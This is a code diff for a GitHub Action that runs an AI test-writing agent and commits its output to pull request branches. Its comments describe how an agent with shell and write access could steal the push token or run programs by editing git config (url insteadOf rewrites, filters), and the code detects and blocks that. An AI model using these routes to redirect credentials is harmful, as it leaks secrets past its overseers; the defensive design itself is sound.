${failed}`) + } + } + + // FR-13: no settings file means a clean pass and the file they need. Checked + // before anything that costs money or time — the comment handling above + // spends only API calls, and "set up this repo" has to be reachable from here. + if (!settingsFile) { + finishWithStarter(configPath) + } + + // An event-driven run names no job: the pipeline file decides, via --event. + // A manual run names one and carries no event, which is how the CLI is told + // to ignore the bindings entirely. + // A manual run names its job. An event-driven run does NOT: which job an + // event runs is the pipeline file's decision, so the Action passes only + // --event and lets the CLI resolve the binding. Guessing a name here was the + // first live run's failure — it produced `no binding for "pr_opened" + // (workflow "test")` because the repo had bound `generate`, not `test`. + const args = ["workflow", "run"] + if (plan.workflow) args.push(plan.workflow) + if (plan.event) args.push("--event", plan.event) + // One flag per pair. A single joined value is parsed by pflag with + // encoding/csv, where one double quote anywhere — `Fix "Pay now" button` — + // fails the whole flag and the run reports "Could not run". + args.push(...contextArgs(plan.context)) + if (plan.preview) args.push("--preview") + // The fetched copy, not whatever the checkout holds — FR-7. + args.push("--config", settingsFile) + args.push("--json", "--yolo", "--summary-file", SUMMARY_FILE, "--result-file", RESULT_FILE) + + // The run must happen on the commit it is about. On an `issue_comment` + // event GitHub checks out the DEFAULT branch — a live run on 2026-10-27 + // wrote eight tests for a pull request branch into a checkout of the + // default one. The starter workflow cannot be amended once customers have + // merged it, so the Action puts itself on the right commit. + // + // Read-only with respect to the remote, and advisory: a checkout we cannot + // do is reported and the run continues against whatever is here, because a + // proposal built from the diff is still worth having. + // Every arm fails CLOSED, and each is read from the world rather than + // asserted. An earlier draft hard-coded sameRepo on the reasoning that + // plan-run.mjs already skips forks — true today, and exactly the shape + // that goes quietly wrong when the code around it moves. The same + // fail-open bug had already appeared once in this Action, on + // `pull_request_target` with a deleted fork. + // Put the tree on the commit under review, when nothing else already has. + // + // Where a comment names an issue, the block above already fetched the head + // sha and detached onto it. A pull_request event is different: GitHub + // checks out the MERGE commit, and nothing corrects that — so without this + // a synchronize-triggered run reads, and would push, merged content rather + // than the branch. + // + // No --depth. On a repository cloned with fetch-depth 0 a shallow fetch + // makes a COMPLETE clone shallow, taking history away from the agent and + // from tc's dedupe claim. + // + // Advisory: a checkout we cannot do is reported and the run continues + // against whatever is here, because a proposal built from the diff is + // still worth having. shouldPushWork re-checks before anything is pushed. + if ( + plan.context.branch && + plan.context.sha && + needsCheckout({ headSha: git(["rev-parse", "HEAD"]).out, wantSha: plan.context.sha }) + ) { + const fetched = git(["fetch", "origin", plan.context.sha]) + const moved = fetched.ok && git(["checkout", "-B", plan.context.branch, plan.context.sha]).ok + if (moved) notice(`Working on ${plan.context.branch} at ${String(plan.context.sha).slice(0, 7)}.`) + else warn(`Could not check out ${plan.context.branch}; the run sees whatever this job checked out.`) + } + + const saving = shouldPushWork({ + preview: plan.preview, + // From whichever source THIS trigger actually has. A comment names an + // issue, so `pull` was fetched to resolve a head sha; a pull_request + // event carries the head on its own payload and nothing is fetched. + // Reading only `pull` refused every pull_request-triggered push + // (run 40857884973, on a branch in this very repository). + sameRepo: isSameRepo(prForTicket?.head?.repo?.full_name, REPO), + branch: plan.context.branch, + headAuthorEmail: git(["log", "-1", "--format=%ae"]).out, + // The tree is put on the pull request's commit much earlier, where the + // comment's issue number is resolved to a head sha. That fetch is + // ADVISORY — it warns and carries on, so the proposal still gets built + // from the diff — which makes this the check that the advisory step + // actually worked. Pushing from a tree that is not the reviewed commit + // would send the default branch's content to the pull request's branch. + onWantedCommit: !needsCheckout({ headSha: git(["rev-parse", "HEAD"]).out, wantSha: plan.context.sha }), + defaultBranch: defaultBranchName(), + }) + if (plan.context.branch && !plan.preview && !saving.ok) { + notice(`Nothing will be saved to ${plan.context.branch}: ${saving.why}.`) + } + + // FR-35: the handle a later `stop` needs. Posted BEFORE the run, because a + // check written at the end cannot help cancel the run that is writing it — + // which is why `stop` found nothing to stop until now. It also makes FR-48's + // "the check shows while it runs" true for every run rather than only a + // proposal. + const checkSubject = checkSha(plan.context, {}, env.GITHUB_SHA) + if (checkSubject) { + postCheck( + "Running", + { workflow: plan.workflow, outcome: "Running", summary: {}, runUrl: RUN_URL }, + checkSubject, + [], + "in_progress", + plan.preview ? "Planning" : "Running", + ) + } + + notice(`tc ${args.join(" ")}`) + // Both files are written by `tc` itself, and the result file only when the + // run generates cases. Remove any stale copy first so a run that produces + // nothing cannot report an earlier run's work as its own. + for (const f of [SUMMARY_FILE, RESULT_FILE]) { + try { + rmSync(f, { force: true }) + } catch { + // A temp file we cannot remove is not worth failing the run over; the + // sha check on the summary is the backstop. + } + } + // The GitHub token belongs to the Action's own reporting, never to the agent. + // The run executes shell commands the model chooses; anything in this + // environment is readable by them. Stripped rather than trusted, because the + // product only scrubs these on BrowserStack-hosted runs, not a customer's + // own machine (FR-3). + const run = spawnSync("tc", args, { stdio: "inherit", encoding: "utf8", env: childEnvFor(env) }) + const exitCode = run.status ?? 1 + + // The report is absent whenever the process was killed, so treat it as a + // real case rather than assuming it is there. + let summaryText + try { + summaryText = readFileSync(SUMMARY_FILE, "utf8") + } catch { + summaryText = undefined + } + const summary = parseSummary(summaryText) + // Read separately from parseSummary, which builds an object: repeated + // `failed_test:` keys would collapse to the last one. + const failedTests = parseFailedTests(summaryText) + const outcome = resolveOutcome(exitCode, summary) + + // Nothing was bound to this event. Finish the way every other "nothing to + // do" finishes — no check, no comment, green step — rather than reporting a + // run that never happened. The starter subscribes to every trigger, so for + // most repositories most events land here. + if (outcome === OUTCOMES.SKIPPED) { + finishSkipped("no-binding", summary.event) + } + // Absent whenever the run generated nothing, which is most workflows. Its + // presence is what tells the report there is something to point a reader at. + const hasResult = existsSync(RESULT_FILE) + const readResult = () => { + try { + return readFileSync(RESULT_FILE, "utf8") + } catch { + // Best effort, exactly as the CLI treats writing it: a report we + // cannot read back is not worth failing a finished run over. + return undefined + } + } + + // FR-42: a configured write that could not happen is said out loud, naming + // what is missing — a silent skip reads as "there was nothing to write". + const warnings = [] + const testsRepo = bindingsDoc?.settings?.tests_repo + if (testsRepo) { + const probe = gh(["api", `repos/${testsRepo}`]) + const access = describeTestRepoAccess({ testsRepo, thisRepo: REPO, canPush: probe?.permissions?.push }) + if (!access.ok) warnings.push(access.message) + } + + // FR-45: silent unless the settings asked for them. + const extraChecks = renderExtraChecks(summary, { + wcag: bindingsDoc?.settings?.wcag, + visual: bindingsDoc?.settings?.visual, + }) + + // FR-43: the approved work must outlive the runner. Until this existed + // nothing carried it off the machine — the CLI opens a pull request only + // for `automate` and `fix`, so an approved `test-pr` run wrote eight + // passing tests and lost all eight. + const workNote = saveWork(saving, plan) + + const view = { + workflow: plan.workflow ?? summary.workflow, + workNote, + extraChecks, + warnings, + outcome, + summary, + runUrl: RUN_URL, + // FR-2: two runs a week apart on the same pinned version must report the + // same CLI version, which means showing it. + cliVersion: summary.cli_version || env.TC_ACTION_CLI_VERSION, + resultArtifact: hasResult ? RESULT_ARTIFACT : undefined, + // `rca` and `verdict` leave no artefact — their result file holds the + // agent's own closing words, and that IS what was asked for. Without + // this the comment was a table saying "Succeeded" with no answer in it + // (live run 41049398591). ANSWER_JOBS mirrors the CLI's own list in + // cli/pkg/cli/commands/narrative.go; a job missing there writes nothing + // to the file, so a mismatch shows up as an empty answer, never as + // someone else's output. + answer: hasResult && ANSWER_JOBS.has(plan.workflow ?? summary.workflow) ? readResult() : undefined, + failedTests, + } + // FR-43: a held request posts what it WOULD do and ends. The run that + // produced this was a preview run, so nothing has been written. + if (proposing) { + const sha = checkSha(plan.context, summary, env.GITHUB_SHA) + addToJobSummary(renderJobSummary(view)) + // FR-44: say when the change is too big to test in one go, so the + // reviewer can narrow the list before approving rather than after. + const size = describeChangeSize(pull) + const sizeNote = size.large + ? `> **This is a large change** — ${size.files} files and ${size.lines} changed lines. Trim the list below before replying go if you only want part of it covered.\n\n` + : "" + // The plan itself, which the run writes to the result file. Without it + // the proposal is a report header and nothing to review. + let planBody = "" + try { + planBody = readFileSync(RESULT_FILE, "utf8") + } catch { + // No result file means the run produced no plan; renderProposalBody + // says so rather than rendering an empty proposal. + } + replyOnPr( + plan.context.pr, + renderProposal( + renderProposalBody({ summary: renderJobSummary(view), plan: planBody, sizeNote }), + sha, + plan.commenter, + // FR-43: record WHICH job this proposal is for, so approving it + // cannot run a different one. + plan.workflow ?? summary.workflow, + ), + ) + // FR-44: the check shows in progress while the proposal waits. + postCheck(outcome, view, sha, [], "in_progress") + setOutput("outcome", "Proposed") + setOutput("should-fail", "false") + process.exit(0) + } + + addToJobSummary(renderJobSummary(view)) + if (summaryText) setOutput("summary-file", SUMMARY_FILE) + if (hasResult) setOutput("result-file", RESULT_FILE) + setOutput("outcome", outcome) + setOutput("should-fail", String(stepShouldFail(env.TC_ACTION_BUILD_EFFECT, outcome))) + + // FR-28: each failing test on the line it is declared on, so a reviewer sees + // it in the files-changed view instead of having to open the run's logs. + // Empty whenever the reporter printed no locator, which is every mocha run — + // those failures are named in the report instead. + const annotations = buildAnnotations(failedTests) + // FR-45: accessibility may turn the check red, but ONLY when the settings + // say so and only for violations this change introduced. The step's own + // result is untouched — that follows the build effect (FR-9). + const checkOutcome = + outcome === OUTCOMES.SUCCEEDED && + accessibilityFailsCheck(summary, { + wcag: bindingsDoc?.settings?.wcag, + failOnNew: bindingsDoc?.settings?.fail_on_new, + }) + ? OUTCOMES.TESTS_FAILED + : outcome + postCheck(checkOutcome, view, checkSha(plan.context, summary, env.GITHUB_SHA), annotations) + if (plan.context.pr) postComment(plan.context.pr, { ...view, approvalNote }) + + // Always exit 0. Whether the build goes red is the build effect's call, and + // a separate step applies it — otherwise the report never gets attached. + process.exit(0) +} + +/** + * Commit what the run wrote, onto the pull request's own branch — FR-42's + * "tests go in the pull request's own repository" applied to the run that + * produced them. + * + * A commit on the branch rather than a second pull request: someone who asked + * for tests on their change wants them on their change, not in a review queue + * behind it. + * + * Returns the line for the comment, or undefined when there was nothing to + * save. Never throws and never fails the run — the report is the product here, + * and a failed push that takes the whole run down loses the report too. + */ +function saveWork(saving, plan) { + if (!saving.ok) return undefined + const branch = plan.context.branch + if (!GIT_BIN) { + return `**Could not save this work to \`${branch}\`:** no trusted \`git\` was found on this runner (looked for a root-owned /usr/bin/git and /bin/git). Nothing was committed or pushed.` + } + + // .git/config decides whether git runs a program for us and where a push + // ends up, and the agent has just had --yolo write access to it. An + // ordinary actions/checkout never sets any of the keys this looks for, so + // one being present means the config was changed after the checkout. + // + // This runs before `git status`, because status can run a clean filter + // itself — by the time we have a file list it is already too late. + const unexpected = unexpectedConfigKeys(git(CONFIG_READ_ARGS).raw) + if (unexpected.length) { + return [ + `**Could not save this work to \`${branch}\`:** the repository's git config carries`, + `${unexpected.map((k) => `\`${k}\``).join(", ")}, which \`actions/checkout\` does not write. Config is`, + "where git keeps its \"run this program\" hooks and its URL rewrites, so Test Companion will not", + "commit against a config it does not recognise. Nothing was committed or pushed — the run's", + "changes are in the job's workspace only.", + ].join(" ") + } + // `-c core.quotePath=false` stops git octal-escaping non-ASCII bytes, so a + // path like café.spec.ts arrives as itself. unquote() decodes the escapes + // anyway, but not producing them is the better half of the fix. + const status = git(["-c", "core.quotePath=false", "status", "--porcelain"]) + if (!status.ok) return undefined + const { push, skip } = splitPushable(changedPaths(status.raw)) + if (push.length === 0) return undefined + + // Named paths, never `git add -A`: the agent ran shell commands of its own + // choosing and the tree may hold anything. Adding only what we listed is + // also what makes the comment's file list true by construction. + const added = git(["add", "--", ...push]) + if (!added.ok) return renderPushNote({ branch, files: push, skipped: skip, error: added.err || "git add failed" }) + + const subject = `test: ${plan.workflow ?? "Test Companion"} on ${String(plan.context.sha ?? "").slice(0, 7)}` + const body = [ + subject, + "", + `Written by Test Companion for ${plan.context.pr ? `#${plan.context.pr}` : plan.context.sha}.`, + `Run: ${RUN_URL}`, + ].join("\n") + const committed = git(["commit", "-m", body]) + if (!committed.ok) { + return renderPushNote({ + branch, + files: push, + skipped: skip, + error: committed.err || committed.out || "nothing to commit", + }) + } + + // Authenticate as the App when it is installed. Without this the push + // uses whatever actions/checkout left in .git/config, so a team that + // deleted the permissions block as we advise got a 403. + // + // The URL is built here from GITHUB_REPOSITORY rather than taken from the + // remote named `origin`. The agent has had write access to this tree, and + // `url..insteadOf` in .git/config silently redirects `origin` to any + // host — which would hand the App token to it. The credential header is + // scoped to this exact URL for the same reason. + const target = pushUrlFor(REPO, env.GITHUB_SERVER_URL) + if (!target) return renderPushNote({ branch, files: push, skipped: skip, error: `cannot push: bad repository name "${REPO}"` }) + const pushed = git(["push", target, `HEAD:refs/heads/${branch}`], pushCredentialEnv(env.GH_TOKEN, target)) + if (!pushed.ok) { + // The one failure worth spelling out, because it is a settings problem + // rather than a bug: the workflow's token is read-only by default. + const hint = /403|permission|denied|protected/i.test(pushed.err) + ? `${pushed.err} — the job needs \`permissions: contents: write\`, and the branch must not be protected against it.` + : pushed.err || "git push failed" + return renderPushNote({ branch, files: push, skipped: skip, error: hint }) + } + return renderPushNote({ branch, sha: git(["rev-parse", "HEAD"]).out, files: push, skipped: skip }) +} + +/** FR-48: one check, never neutral. FR-28: each failing test on its own line. */ +function postCheck(outcome, view, sha, annotations = [], status = "completed", title = undefined) { + if (!sha) return + const waiting = status === "in_progress" + const payload = { + name: "Test Companion", + head_sha: sha, + status, + // Which run this check belongs to. FR-35's `stop` reads it back: the + // check is posted on the PULL REQUEST's head commit, which is the one + // thing that reliably ties a run to the pull request it is about. + external_id: String(env.GITHUB_RUN_ID ?? ""), + details_url: RUN_URL, + output: { + title: waiting ? (title ?? "Waiting for approval") : outcome, + summary: renderJobSummary(view), + ...(annotations.length ? { annotations } : {}), + }, + } + // A check that is still running must carry no conclusion; GitHub rejects it. + if (!waiting) payload.conclusion = checkConclusion(outcome) + + // Update the check this run already made for this commit, rather than + // adding another. A run posts up to three times — in progress, the result, + // and the catch-all on a crash — so posting every time left two or three + // checks of the same name, and a proposal's in-progress one pending + // forever. FR-48 asks for one. + const { method, path } = checkRequestFor(sha, checksMade) + const res = gh(["api", `repos/${REPO}/${path}`, "--method", method, "--input", "-"], payload) + if (res?.id) checksMade.set(sha, res.id) +} + +/** The check this run has already created, per commit. See checkRequestFor. */ +const checksMade = new Map() + +/** Adopt a check another run created, so we update it instead of adding one. */ +function rememberCheck(sha, id) { + checksMade.set(sha, id) +} + +/** + * End the runs in flight on this commit — FR-35. + * + * The 30-second deadline in FR-35 is why this is a cancel call rather than a + * flag the next run would notice: asking GitHub to cancel is the only thing + * that stops work already underway. + */ +function cancelRunsOn(sha) { + // Our own check runs on this commit, NOT `actions/runs?head_sha=`. A run + // started by an issue_comment carries the DEFAULT BRANCH's sha, so that + // query matched nothing and neither `stop` nor a closed pull request ever + // cancelled anything (verified live, 2026-10-29). + const checks = gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`]) + const fromChecks = runIdsFromChecks(checks?.check_runs, { selfRunId: env.GITHUB_RUN_ID }) + // Unioned with the old head_sha query, which is still right for a run whose + // head sha genuinely IS this commit — a pull_request-triggered one — and + // whose check may not have been written yet. Wrong only for comment runs, + // which is exactly the gap the checks above close. + const list = gh(["api", `repos/${REPO}/actions/runs?head_sha=${sha}&per_page=100`]) + const fromRuns = chooseRunsToCancel(list?.workflow_runs, { + selfRunId: env.GITHUB_RUN_ID, + headSha: sha, + workflowName: env.TC_ACTION_SELF_WORKFLOW, + }) + const ids = [...new Set([...fromChecks, ...fromRuns.map(String)])] + let cancelled = 0 + let forbidden = false + for (const id of ids) { + const r = ghRaw(["api", `repos/${REPO}/actions/runs/${id}/cancel`, "--method", "POST"]) + if (r.status === 0) cancelled++ + else if (/403|Resource not accessible/i.test(r.stderr ?? "")) forbidden = true + } + return { found: ids.length, cancelled, forbidden } +} + +/** + * FR-36: a pull request closed without merging stops its run. + * + * Without the permission to cancel, FR-36 says the run finishes and the comment + * says it ran on a closed pull request — so this warns and lets it be, rather + * than failing anything. + */ +function cancelForClosedPr(payload) { + const sha = payload?.pull_request?.head?.sha + if (!sha) return + const { cancelled, forbidden } = cancelRunsOn(sha) + if (cancelled > 0) { + notice(`Test Companion: stopped ${cancelled} run(s) — the pull request was closed without merging.`) + } else if (forbidden) { + warn("Could not stop the run for a closed pull request: this workflow needs `actions: write`.") + } +} + +function stopRuns(plan, who) { + const sha = plan.context?.sha + const pr = plan.context?.pr + const { found, cancelled, forbidden } = cancelRunsOn(sha) + + if (found === 0) { + replyOnPr(pr, "Nothing of mine is running on this commit, so there was nothing to stop.") + return + } + + // FR-35: without the permission, say which one is missing rather than + // reporting a stop that did not happen. + if (cancelled === 0) { + replyOnPr( + pr, + forbidden + ? "I could not stop that run — this workflow needs `actions: write` to cancel a run." + : "I could not stop that run. It may have finished already.", + ) + return + } + replyOnPr(pr, `Stopped by @${who}.`) +} + +/** + * Which test framework the checked-out repository uses — FR-13. + * + * Two levels deep and skipping node_modules and dotted directories: deep + * enough for the common `e2e/playwright.config.ts` layout, shallow enough not + * to walk a monorepo. Every read is best-effort — a repository we cannot scan + * gets the generic starter, which is the honest outcome. + */ +function scanForFramework() { + let deps = {} + try { + const pkg = JSON.parse(readFileSync("package.json", "utf8")) + deps = { ...pkg.dependencies, ...pkg.devDependencies } + } catch { + // No package.json, or unreadable. A config file may still say. + } + + const filenames = [] + const walk = (dir, depth) => { + if (depth > 2) return + let entries = [] + try { + entries = readdirSync(dir, { withFileTypes: true }) + } catch { + return + } + for (const e of entries) { + if (e.name === "node_modules" || e.name.startsWith(".")) continue + const full = dir === "." ? e.name : `${dir}/${e.name}` + if (e.isDirectory()) walk(full, depth + 1) + else filenames.push(full) + } + } + walk(".", 0) + return detectFramework({ filenames, deps }) +} + +/** + * Open the pull request that adds the settings file — FR-13. + * + * A pull request rather than a direct commit, deliberately: the settings decide + * what Test Companion is allowed to do, so they go in the way every other + * change to that does — reviewed. + */ +function openSetupPr(plan, configPath) { + const framework = scanForFramework() + const { branch, title, body } = renderSetupPr(configPath, framework) + const base = settingsRef(readEvent(), env) + const baseSha = gh(["api", `repos/${REPO}/git/ref/heads/${base}`])?.object?.sha + if (!baseSha) { + replyOnPr(plan.context.pr, `I could not read the ${base} branch, so I have not opened anything.`) + return + } + + // An existing branch from an earlier attempt is fine to reuse; the file write + // below is what actually matters. + ghRaw(["api", `repos/${REPO}/git/refs`, "--method", "POST", "--input", "-"], { ref: `refs/heads/${branch}`, sha: baseSha }) + + const put = ghRaw(["api", `repos/${REPO}/contents/${configPath}`, "--method", "PUT", "--input", "-"], { + message: title, + content: Buffer.from(starterPipelineFor(framework), "utf8").toString("base64"), + branch, + }) + if (put.status !== 0) { + replyOnPr( + plan.context.pr, + `I could not write \`${configPath}\` — this workflow may need \`contents: write\`. The run summary has the file to copy by hand.`, + ) + return + } + + const opened = gh(["api", `repos/${REPO}/pulls`, "--method", "POST", "--input", "-"], { title, head: branch, base, body }) + replyOnPr( + plan.context.pr, + opened?.html_url + ? `Opened ${opened.html_url} with the settings file. Nothing runs until it merges.` + : `I pushed the settings to \`${branch}\` but could not open a pull request — this workflow may need \`pull-requests: write\`.`, + ) +} + +/** + * Drop proposals nobody answered — FR-44. + * + * This is what makes FR-44's in-progress check safe to post at all. A proposal + * that is never replied to would otherwise leave that check unresolved for the + * life of the pull request, and anyone who made "Test Companion" a required + * check is then blocked by a check that never arrives — the same failure + * Release 2 avoided by posting the tick at the END of a run. + * + * Runs on the nightly schedule, alongside whatever else is bound to it. + */ +function sweepExpiredProposals() { + const prs = flattenPages(gh(["api", `repos/${REPO}/pulls?state=open&per_page=100`, "--paginate", "--slurp"])) + for (const pr of prs) { + const sha = pr?.head?.sha + if (!sha || !pr?.number) continue + const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${pr.number}/comments`, "--paginate", "--slurp"])) + if (!proposalNeedsDropping(comments, sha)) continue + + // Complete the check the PROPOSAL run left in progress, rather than + // adding a second one beside it. The sweep is a different process with + // an empty memo, so without this lookup the proposal's check stayed + // pending for the life of the branch — the "blocked by a check that + // never arrives" failure this sweep exists to prevent. + const existing = inFlightCheckId(gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`])?.check_runs) + if (existing) rememberCheck(sha, existing) + + // "Action required", per FR-44 — checkConclusion already maps Could not run + // to exactly that, and never to neutral, which branch protection reads as a pass. + postCheck(OUTCOMES.COULD_NOT_RUN, { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, sha) + replyOnPr( + pr.number, + `That proposal went a day without a reply, so I have dropped it. The check now says Action required — comment again and I will put up a fresh one.\n\n${proposalDroppedMarkerFor(sha)}`, + ) + notice(`Test Companion: dropped a stale proposal on #${pr.number}.`) + } +} + +/** + * What the pipeline file binds to this event, with every value resolved — FR-43. + * + * Asks the CLI rather than parsing the YAML here: one parser, one schema, one + * place for it to drift. Returns undefined when the read fails, which + * decideGate treats as "hold for review" — failing closed. + */ +function readBindings(configFile, event, branch) { + // `--branch` narrows the same way a run does. Without it this returns + // bindings a `when:` clause would exclude, and pickBinding could hand + // decideGate the approval policy of a binding that never runs — reading + // `straight-through` off one while the CLI ran another, which skipped the + // gate in the direction that writes. + const base = ["workflow", "bindings", "--config", configFile, "--event", event] + const ask = (extra) => + spawnSync("tc", [...base, ...extra, "--json"], { + encoding: "utf8", + env: childEnvFor(env), + }) + + let r = branch ? ask(["--branch", branch]) : ask([]) + // An older CLI does not know --branch. Falling back is much better than + // losing the settings block entirely: without it there is no wcag, no + // targets, no tests_repo and no ask_team, and the run quietly behaves as + // though the repository had configured none of them. The cost of the + // fallback is only that bindings are not branch-narrowed, which is exactly + // how it behaved before the flag existed. + if (branch && r.status !== 0 && /unknown flag|unknown shorthand/i.test(r.stderr ?? "")) { + warn("This CLI does not support `workflow bindings --branch`; reading bindings without branch narrowing.") + r = ask([]) + } + if (r.status !== 0) { + warn(`Could not read the pipeline bindings: ${(r.stderr ?? "").trim().split("\n").pop()}`) + return undefined + } + try { + return JSON.parse(r.stdout) + } catch { + return undefined + } +} + +/** The binding a comment is asking for, or the one bound to the event. */ +function pickBinding(doc, workflow) { + const list = (doc?.bindings ?? []).filter((b) => b.enabled) + return workflow ? list.find((b) => b.workflow === workflow) : list[0] +} + +/** + * A plain reply in the thread — FR-33, FR-34. + * + * Deliberately NOT the tracked run comment: it carries no COMMENT_MARKER, so a + * later run neither overwrites a refusal nor adopts one as the place it reports. + */ +function replyOnPr(pr, body) { + if (!pr) return + gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--method", "POST", "--input", "-"], { body }) +} + +/** FR-29: one comment, edited in place. */ +function postComment(pr, view) { + // `--slurp` matters: without it `gh --paginate` prints ONE JSON ARRAY PER + // PAGE, so the output of a pull request with more than 30 comments is + // `[...][...]`, JSON.parse throws, gh() returns null and `existing` becomes + // []. Every run then posted a NEW comment instead of editing its own, which + // is the single-comment guarantee in FR-29 (review finding, PR #3030). + const existing = flattenPages(gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--paginate", "--slurp"])) + const choice = chooseCommentAction(existing) + const body = { body: renderComment(view) } + if (choice.action === "update") { + gh(["api", `repos/${REPO}/issues/comments/${choice.id}`, "--method", "PATCH", "--input", "-"], body) + } else { + gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--method", "POST", "--input", "-"], body) + } +} + +// Spec section "The package itself crashes after the job finishes": the +// customer gets no tick and no comment, which is WORSE than a red tick — +// anyone who made the check required is blocked by a check that never arrives, +// with nothing on the pull request saying why. +// +// finishSkipped and the normal path both exit(0) from inside main, so reaching +// the catch at all means something unexpected threw. Report it as "Could not +// run", which is precisely what happened, and still exit 0 so the build-effect +// step is what decides whether the build goes red. +try { + main() +} catch (e) { + const message = e?.stack || String(e) + const fence = "```" + notice(`Test Companion could not complete: ${message}`) + addToJobSummary( + `## Test Companion \u2014 ${OUTCOMES.COULD_NOT_RUN}\n\nThe action itself failed before it could report.\n\n${fence}\n${message}\n${fence}`, + ) + setOutput("outcome", OUTCOMES.COULD_NOT_RUN) + setOutput("should-fail", String(stepShouldFail(env.TC_ACTION_BUILD_EFFECT, OUTCOMES.COULD_NOT_RUN))) + try { + // The commit we already posted the in-progress check on, NOT the + // event's sha: on a comment run GITHUB_SHA is the default branch's + // commit, so this used to post a second check on main and leave the + // pull request's one pending (B1). + postCheck( + OUTCOMES.COULD_NOT_RUN, + { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, + checkSubjectFor(checksMade, env.GITHUB_SHA), + ) + } catch { + // Nothing left to try. The job summary above is still written. + } + process.exit(0) +} diff --git a/test-companion/report.mjs b/test-companion/report.mjs new file mode 100644 index 0000000..c2b2a4f --- /dev/null +++ b/test-companion/report.mjs @@ -0,0 +1,597 @@ +/** + * What the run leaves behind — STM-3663 FR-27, FR-29. + * + * Only the rendering and the decisions live here, with no network calls, so the + * awkward parts are testable without a runner: whether a preview run is marked + * as one, and whether a second run adds a second comment or edits the first. + * The GitHub calls themselves are a thin layer in main.mjs over `gh`, which is + * preinstalled on every runner and already how this product talks to GitHub. + */ +import { CAPABILITIES } from "./intent.mjs" + +/** + * How a later run finds the comment it wrote earlier — FR-29 wants ONE comment, + * edited in place, not a new one per run. An HTML comment so a reader never + * sees it. + */ +export const COMMENT_MARKER = "" + +const previewRun = (summary) => summary?.preview === "true" + +/** + * What the run produced, in the words a reviewer actually wants — FR-27. + * + * Returns nothing for a run that generates no cases (rca, fix, verdict): a row + * reading "0 generated" on one of those looks like something went wrong. + * + * The case that matters most is cases generated and NONE saved. Left to a bare + * pair of numbers, "12 generated · 0 saved" reads as success to a skimming + * reader, which is the exact failure this whole feature exists to prevent — a + * real run produced 27 cases, reported "Succeeded", and lost all of them. + */ +function producedLines(summary, resultArtifact) { + const generated = Number(summary.cases_generated ?? 0) + const saved = Number(summary.cases_saved ?? 0) + if (!generated && !saved) return [] + + const lines = [`**Test cases:** ${generated} generated, ${saved} saved to Test Management.`] + if (saved > 0 && summary.saved_to) { + lines.push(`They are in \`${summary.saved_to}\`.`) + } + if (saved < generated) { + lines.push( + saved === 0 + ? "**Nothing was written to Test Management.** Download the result below to keep the cases." + : "Some of them were not saved. Download the result below for the full list.", + ) + } + if (resultArtifact) { + lines.push(`The full list is in the **${resultArtifact}** artifact on this run.`) + } + return [lines.join(" "), ""] +} + +/** + * How many failing tests the report names before it stops — FR-28. + * + * A suite that loses a hundred tests turns the check into a wall of text + * nobody reads. The first few plus a count is more useful than all of them, + * and every one is still annotated on the diff. + */ +const FAILURES_LISTED = 20 + +/** The failing tests, named, with where they are when that is known. */ +function failureLines(failedTests) { + const failures = failedTests ?? [] + if (failures.length === 0) return [] + + const lines = ["**Failed:**", ""] + for (const t of failures.slice(0, FAILURES_LISTED)) { + const where = t.file ? ` — \`${t.file}${t.line ? `:${t.line}` : ""}\`` : "" + lines.push(`- ${t.name}${where}`) + } + if (failures.length > FAILURES_LISTED) { + lines.push(`- …and ${failures.length - FAILURES_LISTED} more.`) + } + lines.push("") + return lines +} + +/** The run page's summary — written for every run, including the bad ones. */ +export function renderJobSummary({ + workflow, + outcome, + summary = {}, + runUrl, + cliVersion, + resultArtifact, + failedTests, + approvalNote, + answer, + workNote, + extraChecks = [], + warnings = [], +} = {}) { + const lines = [] + lines.push(`## Test Companion — ${outcome}`) + lines.push("") + + // FR-43: both asking and approving need write access, so one person doing + // both is not an escalation — but a reviewer reading the result should be + // able to see that no second pair of eyes was involved. + if (String(approvalNote ?? "").trim()) { + lines.push(`>${approvalNote}`) + lines.push("") + } + + // FR-42: a write that was configured and could not happen must be said out + // loud — a silent skip reads as "there was nothing to write". + for (const w of warnings) { + if (String(w ?? "").trim()) { + lines.push(`> \u26a0\ufe0f ${w}`) + lines.push("") + } + } + + if (previewRun(summary)) { + // FR-8. Without this a clean-looking report reads as "the work landed". + // Not "nothing was written": preview refuses Test Companion's own write + // TOOLS, and deliberately allows `execute_command` because that is how + // tests run (preview-tool-policy.ts). A shell command the agent chose can + // still edit a file or push, so claiming nothing was written overstates + // the guarantee (review finding, PR #3030). + lines.push( + "> **Preview** — Test Companion refused every one of its own write tools, so it created, changed and saved nothing itself. Shell commands the agent ran are not covered by that.", + ) + lines.push("") + } + + const rows = [ + ["Job", workflow ?? summary.workflow], + ["Trigger", summary.event], + ["Outcome", outcome], + ["Took", summary.duration], + // Credits, not dollars: it is the unit the bill and the pipeline file's + // own ceiling are written in, so a figure in dollars would not line up + // with the limit the run was given. + ["Cost", summary.credits ? `${summary.credits} credits` : ""], + ["CLI", cliVersion], + ].filter(([, v]) => v) + + lines.push("| | |", "|---|---|") + for (const [k, v] of rows) lines.push(`| ${k} | ${v} |`) + lines.push("") + + // For `rca` and `verdict` this IS the report — they produce no artefact, only + // an explanation. It goes directly under the table, above the run links, + // because it is the thing the person who commented actually asked for. + // Everything else leaves the view untouched: no answer, nothing rendered. + if (String(answer ?? "").trim()) { + lines.push(String(answer).trim(), "") + } + + lines.push(...failureLines(failedTests)) + lines.push(...producedLines(summary, resultArtifact)) + + // FR-43: what the approved run actually saved, and where. The run writes + // on a runner that is deleted minutes later, so this line is the only + // record a reviewer gets of what an agent changed in their branch. + if (String(workNote ?? "").trim()) { + lines.push(workNote, "") + } + + if (summary.error_type) { + lines.push(`**Why it stopped:** \`${summary.error_type}\``, "") + } + if (Object.keys(summary).length === 0) { + // Being explicit beats an empty page: an absent report is itself a finding. + lines.push("_The run left no report file. That usually means it was cancelled or could not start._", "") + } + if (runUrl) lines.push(`[Full run](${runUrl})`) + + // FR-45: the accessibility and visual lines, when the settings asked for them. + if (extraChecks.length > 0) { + lines.push("") + for (const l of extraChecks) lines.push(l) + } + + return lines.join("\n") +} + +/** The pull request comment — the same content, plus the marker. */ +export function renderComment(args) { + return 